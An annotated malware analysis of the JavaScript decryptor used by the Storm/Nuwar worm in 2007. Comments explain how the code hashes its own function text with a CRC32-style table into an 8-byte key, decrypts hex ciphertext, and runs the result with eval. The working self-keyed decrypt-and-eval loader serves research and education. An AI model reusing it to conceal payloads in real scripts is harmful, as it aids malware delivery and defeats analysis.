// Less-obfuscated JavaScript/ECMAScript as used by the Storm/Nuwar worm around // Christmas 2007. This code originally had randomised function and variable // names and no line breaks. Note that without the correct function and // variable matching the ciphertext from a given sample the decrypt will not // work since, via arguments.callee.toString(), the text of the function is // actually used as key material! // Joy to the world - 2007 // // Implements a Vigenere decrypt where the ciphertext is decrypted using a // key of length 8 that is derived from the actual text of the function. function decrypt(cipherText) { // The most interesting part, this grabs this function body code as a // string. Later on this string is used to generate the decryption key. var funText = arguments.callee.toString().replace(/\W/g, '').toUpperCase(); // Used as counters throughout the code. var j; var i; // Initially the length of the condensed function body text, this is // later used to store the length of other strings as well. var funTextLen = funText.length; // Used to calculate and stringigy the "magic" value that is turned into // the final key array. var magic; // The ciphertext is decrypted into this before being eval-ed. var plainText = ''; // Create zeroed 256 element array var array256 = new Array(); for (i = 0; i < 256; i++) { array256[i] = 0; } // Generate values for 256 element array. The main idea here seems to be to // try and maintain significant bits in most nibbles (so, I guess, the final // key is unlikely to contain 0x0 nibbles). var j = 1; for (i = 128; i; i >>= 1) { j = (j >>> 1) ^ ((j & 1) ? 0xEDB88320 : 0); for (k = 0; k < 256; k += i * 2) { array256[k + i] = (array256[k] ^ j); if (array256[k + i] < 0) { array256[k + i] += 0x100000000; } } } // Generate the initial key value by combining elements from 'array256' // selected using ascii values from 'funText'. I.e. key value derived from // function text! magic = 0xFFFFFFFF; for (j = 0; j < funTextLen; j++) { magic = array256[(magic ^ funText.charCodeAt(j)) & 255] ^ ((magic >> 8) & 16777215); } var uselessArray = new Array(); // Red herring? magic = magic ^ 0xFFFFFFFF; if (magic < 0) { // I'm not sure about integer sizes in ECMA. Based on this useage int // values are interpreted as 32 bit signed yet immediate int values can // be >32 bits? Note that in original code 4294967296 is used here, // not hex. magic += 0x100000000; } // Turn the "magic" 32 bit value into an upper case hex string. magic = magic.toString(16).toUpperCase(); var key = new Array(); // NOTE!!!! funTextLen is now magicLen!! var funTextLen = magic.length; for (i = 0; i < 8; i++) { var lengthGuard = funTextLen + i; uselessArray[i] = 1; if (lengthGuard >= 8) { // The lengthGuard value will handle the case where the "magic" // value happens to have less than 8 nibbles of significant // content. lengthGuard = lengthGuard - 8; key[i] = magic.charCodeAt(lengthGuard); } else { key[i] = 48; } } // The following loop implements the Vigenere decrypt. var keyIdx = 0; // Index into the key value array. var cryptByte; var plainByte; var redHerring; // Note!!! funTextLen now used as ciphertext length! funTextLen = cipherText.length; redHerring = funTextLen; // Loop over bytes (two ascii hex chars) in the input hex ciphertext. for (i = 0; i < funTextLen; i += 2) { // Get two character "byte" of the ciphertext. var cryptHex = cipherText.substr(i, 2); // Interpret to integer from base-16 (hex) notation. cryptByte = parseInt(cryptHex, 16); // Shift the byte value by subtracting the current key value. plainByte = cryptByte - key[keyIdx]; if (plainByte < 0) { // If result of shift is -ve flip to +ve plainByte = plainByte + 256; } // Translate the calculated byte value to an ASCII character and append // to the plaintext string. plainText += String.fromCharCode(plainByte); redHerring++; // This seems to have no significance! // This if increments or wraps the key, it's an obfuscated: // keyIdx = ((keyIdx + 1) % 8) if (keyIdx < key.length - 1) { uselessArray[i] = 2; // This also seems to have no significance! keyIdx++; } else { keyIdx = 0; } } // Do the wicked deed! eval(plainText); }